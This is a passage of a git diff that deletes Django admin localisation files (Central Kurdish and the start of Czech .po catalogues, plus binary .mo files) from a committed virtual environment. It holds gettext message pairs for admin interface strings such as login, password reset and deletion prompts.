-"been changed." -msgstr "" -"دەبێت بڕگەکان هەڵبژێردرابن تاوەکو کرداریان لەسەر ئەنجام بدەیت. هیچ بڕگەیەک " -"نەگۆڕدراوە." - -msgid "No action selected." -msgstr "هیچ کردارێک هەڵنەبژێردراوە." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s\"%(obj)s\" بەسەرکەوتوویی سڕدرایەوە." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s بە ناسنامەی \"%(key)s\" بوونی نییە. لەوانەیە سڕدرابێتەوە؟" - -#, python-format -msgid "Add %s" -msgstr "زیادکردنی %s" - -#, python-format -msgid "Change %s" -msgstr "گۆڕینی %s" - -#, python-format -msgid "View %s" -msgstr "بینینی %s" - -msgid "Database error" -msgstr "هەڵەی بنکەدراوە" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s بەسەرکەوتوویی گۆڕدرا." -msgstr[1] "%(count)s %(name)s بەسەرکەوتوویی گۆڕدران." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s هەڵبژێردراوە" -msgstr[1] "هەمووی %(total_count)s هەڵبژێردراون" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 لە %(cnt)s هەڵبژێردراوە" - -#, python-format -msgid "Change history: %s" -msgstr "مێژووی گۆڕین: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(instance)sی %(class_name)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"سڕینەوەی %(instance)sی %(class_name)s پێویستی بە سڕینەوەی ئەم ئۆبجێکتە " -"پەیوەندیدارە پارێزراوانەیە: %(related_objects)s" - -msgid "Django site admin" -msgstr "بەڕێوەبەری پێگەی جەنگۆ" - -msgid "Django administration" -msgstr "بەڕێوەبەرایەتی جەنگۆ" - -msgid "Site administration" -msgstr "بەڕێوەبەرایەتی پێگە" - -msgid "Log in" -msgstr "چوونەژوورەوە" - -#, python-format -msgid "%(app)s administration" -msgstr "بەڕێوەبەرایەتی %(app)s" - -msgid "Page not found" -msgstr "پەڕە نەدۆزرایەوە" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "داوای لێبوردن ئەکەین، بەڵام ناتوانرێت پەڕەی داواکراو بدۆزرێتەوە." - -msgid "Home" -msgstr "ماڵەوە" - -msgid "Server error" -msgstr "هەڵەی ڕاژەکار" - -msgid "Server error (500)" -msgstr "هەڵەی ڕاژەکار (500)" - -msgid "Server Error (500)" -msgstr "هەڵەی ڕاژەکار (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"هەڵەیەک بوونی هەبووە. ڕاپۆرت دراوە بە پێگەی بەڕێوەبەرایەتی لەڕێی ئیمەیڵەوە و " -"دەبێت بەزوویی چاکبکرێت. سوپاس بۆ ئارامگرتنت." - -msgid "Run the selected action" -msgstr "کرداری هەڵبژێردراو جێبەجێ بکە" - -msgid "Go" -msgstr "بڕۆ" - -msgid "Click here to select the objects across all pages" -msgstr "کرتە لێرە بکە بۆ هەڵبژاردنی ئۆبجێکتەکان لە تەواوی هەموو پەڕەکان" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "هەموو %(total_count)s %(module_name)s هەڵبژێرە" - -msgid "Clear selection" -msgstr "پاککردنەوەی هەڵبژاردن" - -msgid "Breadcrumbs" -msgstr "وردەنان" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "مۆدێلەکان لە بەرنامەی %(name)s" - -msgid "Add" -msgstr "زیادکردن" - -msgid "View" -msgstr "بینین" - -msgid "You don’t have permission to view or edit anything." -msgstr "تۆ ڕێگەپێدراو نیت بۆ بینین یان دەستکاری هیچ شتێک." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"سەرەتا، ناوی بەکارهێنەر و تێپەڕەوشە بنوسە. پاشان دەتوانیت دەستکاری زیاتری " -"هەڵبژاردنەکانی بەکارهێنەر بکەیت." - -msgid "Enter a username and password." -msgstr "ناوی بەکارهێنەر و تێپەڕەوشە بنوسە" - -msgid "Change password" -msgstr "گۆڕینی تێپەڕەوشە" - -msgid "Set password" -msgstr "دانانی تێپەڕەوشە" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "تکایە ئەم هەڵەیەی خوارەوە ڕاست بکەرەوە." -msgstr[1] "تکایە هەڵەکانی خوارەوە ڕاست بکەرەوە." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "تێپەڕەوشەی نوێ بۆ بەکارهێنەری %(username)s بنوسە" - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"ئەم کردارە چالاک دەکات لەسەر بنەمای تێپەڕەوشەی ئەم " -"بەکارهێنەرە." - -msgid "Disable password-based authentication" -msgstr "ناچالاککردنی ڕەسەنایەتی لەسەر بنەمای تێپەڕەوشە" - -msgid "Enable password-based authentication" -msgstr "چالاککردنی ڕەسەنایەتی لەسەر بنەمای تێپەڕەوشە" - -msgid "Skip to main content" -msgstr "تێیپەڕێنە بۆ ناوەڕۆکی سەرەکی" - -msgid "Welcome," -msgstr "بەخێربێیت،" - -msgid "View site" -msgstr "بینینی پێگە" - -msgid "Documentation" -msgstr "بەڵگەنامە" - -msgid "Log out" -msgstr "چوونەدەرەوە" - -#, python-format -msgid "Add %(name)s" -msgstr "زیادکردنی %(name)s" - -msgid "History" -msgstr "مێژوو" - -msgid "View on site" -msgstr "بینین لەسەر پێگە" - -msgid "Filter" -msgstr "پاڵاوتن" - -msgid "Hide counts" -msgstr "ژماردن بشارەوە" - -msgid "Show counts" -msgstr "ژماردن پیشانبدە" - -msgid "Clear all filters" -msgstr "پاکردنەوەی هەموو پاڵاوتنەکان" - -msgid "Remove from sorting" -msgstr "لابردن لە ڕیزکردن" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "ڕیزکردنی لە پێشینە: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "ڕیزکردنی پێچەوانە" - -msgid "Toggle theme (current theme: auto)" -msgstr "گۆڕینی ڕووکار (ڕووکاری ئێستا: خۆکار)" - -msgid "Toggle theme (current theme: light)" -msgstr "گۆڕینی ڕووکار (ڕووکاری ئێستا: ڕووناک)" - -msgid "Toggle theme (current theme: dark)" -msgstr "گۆڕینی ڕووکار (ڕووکاری ئێستا: تاریک)" - -msgid "Delete" -msgstr "سڕینەوە" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"سڕینەوەی %(object_name)s ‘%(escaped_object)s‘ دەبێتە هۆی سڕینەوەی ئۆبجێکتی " -"پەیوەندیدار، بەڵام هەژمارەکەت ڕێگەپێدراو نییە بۆ سڕینەوەی ئەم جۆرە " -"ئۆبجێکتانەی تر:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"سڕینەوەی %(object_name)sی ‘%(escaped_object)s‘ پێویستیی بە سڕینەوەی ئەم " -"ئۆبجێکتە پەیوەندیدارە پارێزراوانەیە:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"ئایا تۆ دڵنیایت کە دەتەوێت %(object_name)sی \"%(escaped_object)s\" بسڕیتەوە؟ " -"هەموو ئەم ئۆبجێکتە پەیوەندیدارانەش دەسڕێتەوە:" - -msgid "Objects" -msgstr "ئۆبجێکتەکان" - -msgid "Yes, I’m sure" -msgstr "بەڵێ، من دڵنیام" - -msgid "No, take me back" -msgstr "نەخێر، من بگەڕێنەرەوە دواوە" - -msgid "Delete multiple objects" -msgstr "سڕینەوەی چەندین ئۆبجێکت" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"سڕینەوەی %(objects_name)sی هەڵبژێردراو دەبێتە هۆی سڕینەوەی ئۆبجێکتی " -"پەیوەندیدار، بەڵام هەژمارەکەت ڕێگەپێدراو نییە بۆ سڕینەوەی ئەم جۆرە " -"ئۆبجێکتانەی تر:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"سڕینەوەی %(objects_name)sی هەڵبژێردراو پێویستیی بە سڕینەوەی ئەم ئۆبجێکتە " -"پەیوەندیدارە پارێزراوانەیە:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"ئایا تۆ دڵنیایت دەتەوێت %(objects_name)sی هەڵبژێردراو بسڕیتەوە؟ هەموو ئەم " -"ئۆبجێکت و بڕگە پەیوەندیدارەکانیان دەسڕێنەوە:" - -msgid "Delete?" -msgstr "سڕینەوە؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr "بەپێی %(filter_title)s" - -msgid "Summary" -msgstr "پوختە" - -msgid "Recent actions" -msgstr "کردارە نوێیەکان" - -msgid "My actions" -msgstr "کردارەکانم" - -msgid "None available" -msgstr "هیچ شتيک بەردەست نییە" - -msgid "Added:" -msgstr "زیادکرا:" - -msgid "Changed:" -msgstr "گۆڕدرا:" - -msgid "Deleted:" -msgstr "سڕایەوە:" - -msgid "Unknown content" -msgstr "ناوەڕۆکی نەزانراو" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"هەڵەیەک هەیە لە دامەزراندنی بنکەدراوەکەت. دڵنیاببەرەوە لەوەی خشتە گونجاوەکان " -"دروستکراون، دڵنیاببەرەوە بنکەدراوەکە ئەخوێندرێتەوە لەلایەن بەکارهێنەری " -"گونجاوەوە." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"تۆ ڕەسەنایەتیت هەیە وەکو %(username)s, بەڵام ڕێگەپێدراو نیت بۆ ئەم لاپەڕەیە. " -"دەتەوێت بە هەژمارێکی تر بچیتەژوورەوە؟" - -msgid "Forgotten your password or username?" -msgstr "تێپەڕەوشە یان ناوی بەکارهێنەرەکەت بیرچۆتەوە؟" - -msgid "Toggle navigation" -msgstr "کردنەوەو داخستنی ڕێنیشاندەر" - -msgid "Sidebar" -msgstr "شریتی لاتەنیشت" - -msgid "Start typing to filter…" -msgstr "دەست بکە بە نوسین بۆ پاڵاوتن..." - -msgid "Filter navigation items" -msgstr "بڕگەکانی ڕێنیشاندەر بپاڵێوە" - -msgid "Date/time" -msgstr "بەروار/کات" - -msgid "User" -msgstr "بەکارهێنەر" - -msgid "Action" -msgstr "کردار" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "تۆمار" -msgstr[1] "تۆمارەکان" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"ئەم ئۆبجێکتە مێژووی گۆڕانکاری نییە. ڕەنگە لە ڕێگەی بەڕێەوەبەری ئەم پێگەیەوە " -"زیادنەکرابێت." - -msgid "Show all" -msgstr "پیشاندانی هەمووی" - -msgid "Save" -msgstr "پاشەکەوتکردن" - -msgid "Popup closing…" -msgstr "پەنجەرەکە دادەخرێت..." - -msgid "Search" -msgstr "گەڕان" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s ئەنجام" -msgstr[1] "%(counter)s ئەنجام" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)sگشتی" - -msgid "Save as new" -msgstr "پاشەکەوتکردن وەک نوێ" - -msgid "Save and add another" -msgstr "پاشەکەوتی بکەو دانەیەکی تر زیاد بکە" - -msgid "Save and continue editing" -msgstr "پاشەکەوتی بکەو بەردەوامبە لە گۆڕنکاری" - -msgid "Save and view" -msgstr "پاشەکەوتی بکەو پیشانی بدە" - -msgid "Close" -msgstr "داخستن" - -#, python-format -msgid "Change selected %(model)s" -msgstr "هەڵبژێردراوەکان بگۆڕە %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "زیادکردنی %(model)sی تر" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "هەڵبژێردراوەکان بسڕەوە %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "سەیری %(model)s هەڵبژێردراوەکان بکە" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "سوپاس بۆ بەسەربردنی هەندێک کاتێکی ئەمڕۆ لەگەڵ ماڵپەڕەکەدا." - -msgid "Log in again" -msgstr "دووبارە چوونەژوورەوە" - -msgid "Password change" -msgstr "گۆڕینی تێپەڕەوشە" - -msgid "Your password was changed." -msgstr "تێپەڕەوشەت گۆڕدرا." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"لەپێناو پاراستندا تکایە تێپەڕەوشە کۆنەکەت بنووسە، پاشان دووجار تێپەڕەوشە " -"نوێیەکەت بنووسە بۆ ئەوەی بتوانین پشتڕاستی بکەینەوە کە بە دروستی نووسیوتە." - -msgid "Change my password" -msgstr "گۆڕینی تێپەڕەوشەکەم" - -msgid "Password reset" -msgstr "دانانەوەی تێپەڕەوشە" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "تێپەڕەوشەکەت دانرایەوە. لەوانەیە ئێستا بچیتە سەرەوە و بچیتەژوورەوە." - -msgid "Password reset confirmation" -msgstr "دووپاتکردنەوەی دانانەوەی تێپەڕەوشە" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"تکایە دووجار تێپەڕەوشە نوێیەکەت بنوسە، پاشان دەتوانین دڵنیابین کە بە دروستی " -"نوسراوە." - -msgid "New password:" -msgstr "تێپەڕەوشەی نوێ:" - -msgid "Confirm password:" -msgstr "دووپاتکردنەوەی تێپەڕەوشە:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"بەستەری دانانەوەی تێپەڕەوشە نادروست بوو، لەوانەیە لەبەر ئەوەی پێشتر " -"بەکارهاتووە. تکایە داوای دانانەوەی تێپەڕەوشەی نوێ بکە." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"ئێمە ڕێنماییەکانمان بۆ دانانی تێپەڕەوشەکەت ئیمەیڵ بۆت ناردووە، ئەگەر " -"هەژمارێک هەبێت لەگەڵ ئەو ئیمەیڵەی کە نوسیوتە. پێویستە بەم زووانە بەدەستت " -"بگات." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"ئەگەر تۆ نامەی ئەلیکترۆنیت بەدەست نەگەیشت، ئەوا دڵنیا ببەرەوە کە تۆ ئەو " -"ناونیشانەت داخڵکردووە کە پێی تۆمار بوویت، وە فۆڵدەری سپامەکەت بپشکنە." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"تۆ ئەم نامە ئەلیکترۆنیەت بەدەست گەیشتووە لەبەرئەوەی داواکاری دوبارە " -"دانانەوەی تێپەڕە ووشەت کردبوو بۆ هەژماری بەکارهێنەرەکەت لە %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "تکایە بڕۆ بۆ پەڕەی دیاریکراو و تێپەڕەوشەیەکی نوێ هەڵبژێرە:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "ناوی بەکارهێنەری تۆ، لە کاتێکدا بیرت چووبێتەوە:" - -msgid "Thanks for using our site!" -msgstr "سوپاس بۆ بەکارهێنانی پێگەکەمان!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "دەستەی %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"تێپەڕەوشەکەت بیرچووەتەوە؟ ئیمەیڵەکەت لەخوارەوە بنوسە، پاشان ئێمە ئێمەیڵی " -"ڕێنمایت بۆ دەنێرین بۆ دانانی دانەیەکی نوێ." - -msgid "Email address:" -msgstr "ناونیشانی ئیمەیڵ:" - -msgid "Reset my password" -msgstr "دانانەوەی تێپەڕەوشەکەم" - -msgid "Select all objects on this page for an action" -msgstr "هەموو تەنەکان لەم لاپەڕەیە بۆ کردارێک هەڵبژێرە" - -msgid "All dates" -msgstr "هەموو بەروارەکان" - -#, python-format -msgid "Select %s" -msgstr "%s هەڵبژێرە" - -#, python-format -msgid "Select %s to change" -msgstr "%s هەڵبژێرە بۆ گۆڕین" - -#, python-format -msgid "Select %s to view" -msgstr "%s هەڵبژێرە بۆ بینین" - -msgid "Date:" -msgstr "بەروار:" - -msgid "Time:" -msgstr "کات:" - -msgid "Lookup" -msgstr "گەڕان" - -msgid "Currently:" -msgstr "ئێستاکە:" - -msgid "Change:" -msgstr "گۆڕین:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 95cbda79..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.po deleted file mode 100644 index 23b1fd0f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,329 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bakhtawar Barzan, 2021 -# Bakhtawar Barzan, 2021 -# Mariusz Felisiak , 2023 -# Swara , 2022-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2024-01-20 07:59+0000\n" -"Last-Translator: Swara , 2022-2024\n" -"Language-Team: Central Kurdish (http://app.transifex.com/django/django/" -"language/ckb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ckb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%sە بەردەستەکان" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"ئەمە لیستی بەردەستی %s . دەتوانیت هەندێکیان هەڵبژێریت بە هەڵبژاردنییان لەم " -"بوخچەی خوارەوە و پاشان کرتەکردن لەسەر ئاراستەی \"هەڵبژێرە\" لە نێوان هەردوو " -"بوخچەکەدا." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "لەم بوخچەدا بنووسە بۆ ئەوەی لیستی بەردەستەکان بپاڵێویت %s." - -msgid "Filter" -msgstr "پاڵاوتن" - -msgid "Choose all" -msgstr "هەمووی هەڵبژێرە" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "کرتە بکە بۆ هەڵبژاردنی هەموو %s بەیەکجار." - -msgid "Choose" -msgstr "‌هەڵبژاردن" - -msgid "Remove" -msgstr "لابردن" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s هەڵبژێردراوەکان" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"ئەمە لیستی هەڵبژێردراوی %s. دەتوانیت هەندێکیان لاببەیت بە هەڵبژاردنییان لەم " -"بوخچەی خوارەوە و پاشان کرتەکردن لەسەر ئاراستەی \"لابردن\" لە نێوان هەردوو " -"بوخچەکەدا." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "لەم بوخچەدا بنووسە بۆ ئەوەی لیستی هەڵبژێردراوەکان بپاڵێویت %s." - -msgid "Remove all" -msgstr "لابردنی هەمووی" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "کرتە بکە بۆ لابردنی هەموو ئەوانەی هەڵبژێردراون %sبە یەکجار." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%sبژاردەی هەڵبژێردراو نابینرێت" -msgstr[1] "%s هەڵبژاردە هەڵبژێردراوەکان نابینرێن" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "‫%(sel)s لە %(cnt)s هەڵبژێردراوە" -msgstr[1] "‫%(sel)s لە %(cnt)s هەڵبژێردراوە" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"گۆڕانکاریی پاشەکەوتنەکراوت هەیە لەسەر خانەی یەکلایەنەی شیاوی دەستکاریی. " -"ئەگەر کردارێک ئەنجام بدەیت، گۆڕانکارییە پاشەکەوتنەکراوەکانت لەدەست دەچن." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"چالاکییەکی هەڵبژێردراوت هەیە، بەڵام خانە تاکلایەنەکانت تا ئێستا پاشەکەوت " -"نەکردووە. تکایە کردتە لەسەر باشە بکە بۆ پاشەکەوتکردن. پێویستە دووبارە " -"چالاکییەکە ئەنجام بدەیتەوە." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"چالاکییەکی هەڵبژێردراوت هەیە، هەروەها هیچ گۆڕانکارییەکت لەسەر خانە " -"تاکلایەنەکانت نیە. ڕەنگە تۆ بەدوای دوگمەی بڕۆدا بگەڕێیت نەک دوگمەی " -"پاشەکەوتکردن." - -msgid "Now" -msgstr "ئێستا" - -msgid "Midnight" -msgstr "نیوەشەو" - -msgid "6 a.m." -msgstr "6ی بەیانی" - -msgid "Noon" -msgstr "نیوەڕۆ" - -msgid "6 p.m." -msgstr "6ی ئێوارە." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "تێبینی: تۆ %s کاتژمێر لەپێش کاتی ڕاژەوەیت." -msgstr[1] "تێبینی: تۆ %s کاتژمێر لەپێش کاتی ڕاژەوەیت." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "تێبینی: تۆ %s کاتژمێر لەدوای کاتی ڕاژەوەیت." -msgstr[1] "تێبینی: تۆ %s کاتژمێر لەدوای کاتی ڕاژەوەیت." - -msgid "Choose a Time" -msgstr "کاتێک دیاریبکە" - -msgid "Choose a time" -msgstr "کاتێک دیاریبکە" - -msgid "Cancel" -msgstr "پاشگەزبوونەوە" - -msgid "Today" -msgstr "ئەمڕۆ" - -msgid "Choose a Date" -msgstr "ڕۆژێک دیاریبکە" - -msgid "Yesterday" -msgstr "دوێنێ" - -msgid "Tomorrow" -msgstr "سبەینێ" - -msgid "January" -msgstr "‎ڕێبەندان" - -msgid "February" -msgstr "‎ڕەشەمە" - -msgid "March" -msgstr "نەورۆز" - -msgid "April" -msgstr "‎گوڵان" - -msgid "May" -msgstr "جۆزەردان" - -msgid "June" -msgstr "‎پوشپەڕ" - -msgid "July" -msgstr "گەلاوێژ " - -msgid "August" -msgstr "‎خەرمانان" - -msgid "September" -msgstr "‎ڕەزبەر" - -msgid "October" -msgstr "‎گەڵاڕێزان" - -msgid "November" -msgstr "‎سەرماوەرز" - -msgid "December" -msgstr "‎بەفرانبار" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "‎ڕێبەندان" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "ڕەشەمە" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "نەورۆز" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "گوڵان" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "‎جۆزەردان" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "پوشپەڕ" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "‎گەلاوێژ" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "خەرمانان" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "‎ڕەزبەر" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "‎گەڵاڕێزان" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "‎سەرماوەرز" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "‎بەفرانبار" - -msgid "Sunday" -msgstr "یەکشەممە" - -msgid "Monday" -msgstr "دووشەممە" - -msgid "Tuesday" -msgstr "سێشەممە" - -msgid "Wednesday" -msgstr "چوارشەممە" - -msgid "Thursday" -msgstr "پێنجشەممە" - -msgid "Friday" -msgstr "هەینی" - -msgid "Saturday" -msgstr "شەممە" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "یەک" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "دوو" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "سێ" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "چوار" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "پێنج" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "هەینی" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "شەم" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "ی" - -msgctxt "one letter Monday" -msgid "M" -msgstr "د" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "س" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "چ" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "پ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "هە" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "ش" - -msgid "Show" -msgstr "پیشاندان" - -msgid "Hide" -msgstr "شاردنەوە" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.mo deleted file mode 100644 index 1ad804e5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.po deleted file mode 100644 index 39c3679c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/django.po +++ /dev/null @@ -1,803 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Jan Papež , 2024 -# Jiří Podhorecký , 2024 -# Jiří Podhorecký , 2022 -# Jirka Vejrazka , 2011 -# Tomáš Ehrlich , 2015 -# Vláďa Macek , 2013-2014 -# Vláďa Macek , 2015-2020,2022 -# yedpodtrzitko , 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:05+0000\n" -"Last-Translator: Jan Papež , 2024\n" -"Language-Team: Czech (http://app.transifex.com/django/django/language/cs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cs\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n >= 2 && n " -"<= 4 && n % 1 == 0) ? 1: (n % 1 != 0 ) ? 2 : 3;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Odstranit vybrané položky typu %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Úspěšně odstraněno: %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nelze smazat %(name)s" - -msgid "Are you sure?" -msgstr "Jste si jisti?" - -msgid "Administration" -msgstr "Správa" - -msgid "All" -msgstr "Vše" - -msgid "Yes" -msgstr "Ano" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Neznámé" - -msgid "Any date" -msgstr "Libovolné datum" - -msgid "Today" -msgstr "Dnes" - -msgid "Past 7 days" -msgstr "Posledních 7 dní" - -msgid "This month" -msgstr "Tento měsíc" - -msgid "This year" -msgstr "Tento rok" - -msgid "No date" -msgstr "Bez data" - -msgid "Has date" -msgstr "Má datum" - -msgid "Empty" -msgstr "Prázdná hodnota" - -msgid "Not empty" -msgstr "Neprázdná hodnota" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Zadejte správné %(username)s a heslo pro personál. Obě pole mohou rozlišovat " -"velká a malá písmena." - -msgid "Action:" -msgstr "Operace:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Přidat %(verbose_name)s" - -msgid "Remove" -msgstr "Odebrat" - -msgid "Addition" -msgstr "Přidání" - -msgid "Change" -msgstr "Změnit" - -msgid "Deletion" -msgstr "Odstranění" - -msgid "action time" -msgstr "čas operace" - -msgid "user" -msgstr 